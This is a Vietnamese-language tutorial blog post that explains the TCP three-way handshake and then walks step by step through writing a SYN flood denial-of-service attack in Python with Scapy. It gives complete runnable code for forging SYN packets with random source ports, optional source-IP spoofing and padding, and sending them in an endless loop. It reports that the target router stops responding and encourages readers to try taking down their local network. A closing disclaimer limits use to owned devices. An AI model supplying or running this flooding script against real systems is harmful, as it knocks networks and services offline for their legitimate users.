Trong b&agrave;i viết n&agrave;y, <a href="https://tek4.vn/">Tek4.vn</a> sẽ giới thiệu tới bạn c&aacute;ch sử dụng thư viện Scapy trong Python để thực hiện tấn c&ocirc;ng TCP SYN Flood, l&agrave; một dạng của tấn c&ocirc;ng từ chối dịch vụ ph&acirc;n t&aacute;n (DDoS).
Tấn c&ocirc;ng <a href="https://en.wikipedia.org/wiki/SYN_flood" rel="nofollow">SYN flood</a> l&agrave; một dạng <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" rel="nofollow">tấn c&ocirc;ng từ chối dịch vụ</a> phổ biến trong đ&oacute; kẻ tấn c&ocirc;ng gửi một chuỗi c&aacute;c y&ecirc;u cầu SYN đến hệ thống mục ti&ecirc;u (bộ định tuyến, tường lửa, Hệ thống ngăn chặn x&acirc;m nhập (IPS), v.v.) để ti&ecirc;u thụ t&agrave;i nguy&ecirc;n của hệ thống, ngăn kh&ocirc;ng cho người d&ugrave;ng hợp ph&aacute;p thiết lập kết nối thường xuy&ecirc;n.
TCP SYN flood khai th&aacute;c bước đầu ti&ecirc;n của quy tr&igrave;nh bắt tay ba chiều TCP v&agrave; v&igrave; mọi kết nối sử dụng giao thức TCP đều y&ecirc;u cầu quy tr&igrave;nh n&agrave;y, kiểu tấn c&ocirc;ng SYN flood kh&aacute; nguy hiểm v&agrave; c&oacute; thể ph&aacute; hủy một số th&agrave;nh phần mạng.
Để hiểu được SYN flood, trước ti&ecirc;n h&atilde;y c&ugrave;ng b&agrave;n luận về quy tr&igrave;nh bắt tay ba chiều <a href="https://en.wikipedia.org/wiki/Transmission_Control_Protocol" rel="nofollow">TCP</a>:
&nbsp;
<img style="width: 600px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/026f7878-8cc3-4ca7-9e63-972fcb2c3893" alt="syn 1" />
&nbsp;
Khi m&aacute;y kh&aacute;ch muốn thiết lập kết nối với m&aacute;y chủ th&ocirc;ng qua giao thức TCP, m&aacute;y kh&aacute;ch v&agrave; m&aacute;y chủ trao đổi một loạt c&aacute;c th&ocirc;ng b&aacute;o:
<ul style="text-align: justify;">
<li style="font-weight: 400;" aria-level="1">M&aacute;y kh&aacute;ch y&ecirc;u cầu kết nối bằng c&aacute;ch gửi th&ocirc;ng điệp SYN đến m&aacute;y chủ.</li>
<li style="font-weight: 400;" aria-level="1">M&aacute;y chủ phản hồi bằng th&ocirc;ng b&aacute;o SYN-ACK &nbsp;(x&aacute;c nhận y&ecirc;u cầu).</li>
<li style="font-weight: 400;" aria-level="1">M&aacute;y kh&aacute;ch phản hồi lại bằng ACK, sau đ&oacute; kết nối được thiết lập.</li>
</ul>
Tấn c&ocirc;ng SYN flood &aacute;m chỉ việc hacker li&ecirc;n tục gửi c&aacute;c g&oacute;i SYN m&agrave; kh&ocirc;ng phản hồi bằng ACK v&agrave; c&aacute;c cổng nguồn kh&aacute;c nhau, m&aacute;y chủ kh&ocirc;ng biết về cuộc tấn c&ocirc;ng v&agrave; phản hồi mỗi lần thử với g&oacute;i SYN-ACK từ c&aacute;c cổng (Đường m&agrave;u đỏ v&agrave; m&agrave;u xanh trong h&igrave;nh tr&ecirc;n). Bằng c&aacute;ch n&agrave;y, m&aacute;y chủ dễ d&agrave;ng bị qu&aacute; tải v&agrave; từ chối kết nối với những m&aacute;y kh&aacute;ch hợp ph&aacute;p.
B&agrave;i viết li&ecirc;n quan: <a href="https://www.thepythoncode.com/article/dhcp-listener-using-scapy-in-python" rel="nofollow">How to Make a DHCP Listener using Scapy in Python</a>.
B&agrave;i hướng dẫn n&agrave;y sẽ triển khai tấn c&ocirc;ng SYN flood bằng c&aacute;ch sử dụng thư viện <a href="https://www.thepythoncode.com/topic/scapy" rel="nofollow">Scapy</a> trong Python. Để bắt đầu, h&atilde;y c&agrave;i đặt Scapy:
<pre class="run-code language-python" data-content="pip3%20install%20scapy" data-language="python2"><code>pip3 install scapy</code></pre>
&nbsp;Mở tệp Python mới v&agrave; import Scapy:
<pre class="run-code language-python" data-content="from%20scapy.all%20import%20*" data-language="python2"><code>from scapy.all import *</code></pre>
&nbsp;
Kiểm tra tr&ecirc;n bộ định tuyến cục bộ với địa chỉ IP ri&ecirc;ng l&agrave; 192.168.1.1:
<pre class="run-code language-python" data-content="%23%20target%20IP%20address%20(should%20be%20a%20testing%20router%2Ffirewall)%0A%0Atarget_ip%20%3D%20%22192.168.1.1%22%0A%0A%23%20the%20target%20port%20u%20want%20to%20flood%0A%0Atarget_port%20%3D%2080" data-language="python2"><code># target IP address (should be a testing router/firewall)

target_ip = "192.168.1.1"

# the target port u want to flood

target_port = 80</code></pre>
&nbsp;
Nếu muốn thử với bộ định tuyến của m&igrave;nh, h&atilde;y đảm bảo bạn c&oacute; địa chỉ IP ch&iacute;nh x&aacute;c. Bạn c&oacute; thể lấy địa chỉ cổng mặc định bằng lệnh <code>ipconfig</code> trong Windows v&agrave; <code>ip route</code> trong macOS/Linux.
Cổng mục ti&ecirc;u l&agrave; HTTP v&igrave; ch&uacute;ng ta cần flood giao diện web của bộ định tuyến. B&acirc;y giờ h&atilde;y tạo g&oacute;i SYN, bắt đầu từ lớp IP:
<pre class="run-code language-python" data-content="%23%20forge%20IP%20packet%20with%20target%20ip%20as%20the%20destination%20IP%20address%0A%0Aip%20%3D%20IP(dst%3Dtarget_ip)%0A%0A%23%20or%20if%20you%20want%20to%20perform%20IP%20Spoofing%20(will%20work%20as%20well)%0A%0A%23%20ip%20%3D%20IP(src%3DRandIP(%22192.168.1.1%2F24%22)%2C%20dst%3Dtarget_ip)" data-language="python2"><code># forge IP packet with target ip as the destination IP address

ip = IP(dst=target_ip)

# or if you want to perform IP Spoofing (will work as well)

# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)</code></pre>
&nbsp;
Ở đ&acirc;y ta chỉ định dst l&agrave;m địa chỉ IP mục ti&ecirc;u, bạn cũng c&oacute; thể đặt địa chỉ src th&agrave;nh địa chỉ IP ngẫu nhi&ecirc;n giả mạo trong phạm vi mạng ri&ecirc;ng (phần comment). C&aacute;ch n&agrave;y cũng hoạt động.
Tạo lớp TCP:
<pre class="run-code language-python" data-content="%23%20forge%20a%20TCP%20SYN%20packet%20with%20a%20random%20source%20port%0A%0A%23%20and%20the%20target%20port%20as%20the%20destination%20port%0A%0Atcp%20%3D%20TCP(sport%3DRandShort()%2C%20dport%3Dtarget_port%2C%20flags%3D%22S%22)" data-language="python2"><code># forge a TCP SYN packet with a random source port

# and the target port as the destination port

tcp = TCP(sport=RandShort(), dport=target_port, flags="S")</code></pre>
&nbsp;
Ở đ&acirc;y ta thiết lập cổng nguồn (sport) l&agrave; cổng ngắn ngẫu nhi&ecirc;n (nằm trong khoảng từ 1 đến 65535, giống như c&aacute;c cổng th&ocirc;ng thường) v&agrave; cổng dport (cổng đ&iacute;ch) l&agrave;m cổng mục ti&ecirc;u, trong trường hợp n&agrave;y, đ&oacute; l&agrave; một dịch vụ HTTP.
Đặt flag th&agrave;nh "S" để biểu thị loại SYN.
Th&ecirc;m một số dữ liệu flooding để x&acirc;m nhập mạng:
<pre class="run-code language-python" data-content="%23%20add%20some%20flooding%20data%20(1KB%20in%20this%20case)%0A%0Araw%20%3D%20Raw(b%22X%22*1024)" data-language="python2"><code># add some flooding data (1KB in this case)

raw = Raw(b"X"*1024)</code></pre>
&nbsp;
Xếp chồng c&aacute;c lớp v&agrave; gửi g&oacute;i tin:
<pre class="run-code language-python" data-content="%23%20stack%20up%20the%20layers%0A%0Ap%20%3D%20ip%20%2F%20tcp%20%2F%20raw%0A%0A%23%20send%20the%20constructed%20packet%20in%20a%20loop%20until%20CTRL%2BC%20is%20detected%C2%A0%0A%0Asend(p%2C%20loop%3D1%2C%20verbose%3D0)" data-language="python2"><code># stack up the layers

p = ip / tcp / raw

# send the constructed packet in a loop until CTRL+C is detected 

send(p, loop=1, verbose=0)</code></pre>
&nbsp;
Ta đ&atilde; sử dụng h&agrave;m <code>send()</code> để gửi c&aacute;c packet ở lớp 3, cho loop th&agrave;nh 1 để tiếp tục gửi cho đến khi nhấn CTRL + C, đặt verbose th&agrave;nh 0 để kh&ocirc;ng in ra bất kỳ thứ g&igrave; trong qu&aacute; tr&igrave;nh (chế độ silent).
Tập lệnh đ&atilde; xong! B&acirc;y giờ h&atilde;y chạy tập lệnh với bộ định tuyến. Sau v&agrave;i gi&acirc;y, bộ định tuyến ngừng hoạt động v&agrave; m&aacute;y chủ mất kết nối:
&nbsp;
<img style="width: 600px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/55b1ff09-1f35-4f46-9e52-b47f3ee07391" alt="syn 2" />
&nbsp;
Đầu ra của lệnh tr&ecirc;n Windows:
&nbsp;
<pre class="run-code language-python" data-content="%24%20ping%20-t%20%22192.168.1.1%22" data-language="python2"><code>$ ping -t "192.168.1.1"</code></pre>
&nbsp;
Lưu lượng mạng đ&atilde; bị bắt từ một m&aacute;y kh&aacute;c kh&ocirc;ng phải l&agrave; kẻ tấn c&ocirc;ng, v&igrave; vậy bộ định tuyến kh&ocirc;ng c&ograve;n phản hồi.
Để mọi thứ trở lại b&igrave;nh thường, bạn c&oacute; thể dừng cuộc tấn c&ocirc;ng (bằng c&aacute;ch nhấn CTRL+C) hoặc nếu thiết bị vẫn kh&ocirc;ng phản hồi, h&atilde;y khởi động lại m&aacute;y.
&nbsp;
Kết luận
Nếu thử chạy tập lệnh tr&ecirc;n m&aacute;y t&iacute;nh cục bộ, bạn sẽ thấy m&aacute;y t&iacute;nh bị qu&aacute; tải v&agrave; độ trễ tăng l&ecirc;n đ&aacute;ng kể. Bạn cũng c&oacute; thể chạy tập lệnh tr&ecirc;n nhiều thiết bị đầu cuối hoặc thậm ch&iacute; tr&ecirc;n c&aacute;c m&aacute;y kh&aacute;c. H&atilde;y thử xem bạn c&oacute; thể tắt mạng m&aacute;y t&iacute;nh cục bộ kh&ocirc;ng! Hy vọng bạn th&acirc;́y những th&ocirc;ng tin này hữu ích. Hãy ti&ecirc;́p tục theo dõi và ủng h&ocirc;̣ các bài vi&ecirc;t ti&ecirc;́p theo của <a href="https://tek4.vn/">Tek4.vn</a> nhé!
Disclaimer: Vui l&ograve;ng kh&ocirc;ng sử dụng phần mềm n&agrave;y tr&ecirc;n thiết bị m&agrave; bạn kh&ocirc;ng sở hữu hoặc kh&ocirc;ng được ph&eacute;p sử dụng, ch&uacute;ng t&ocirc;i kh&ocirc;ng chịu bất kỳ tr&aacute;ch nhiệm n&agrave;o, b&agrave;i hướng dẫn chỉ nhằm mục đ&iacute;ch cung cấp kiến thức.
&nbsp;

dev1_account1

Cách thực hiện tấn công SYN Flood bằng Python

Cùng tác giả

dev1_account1

Có liên quan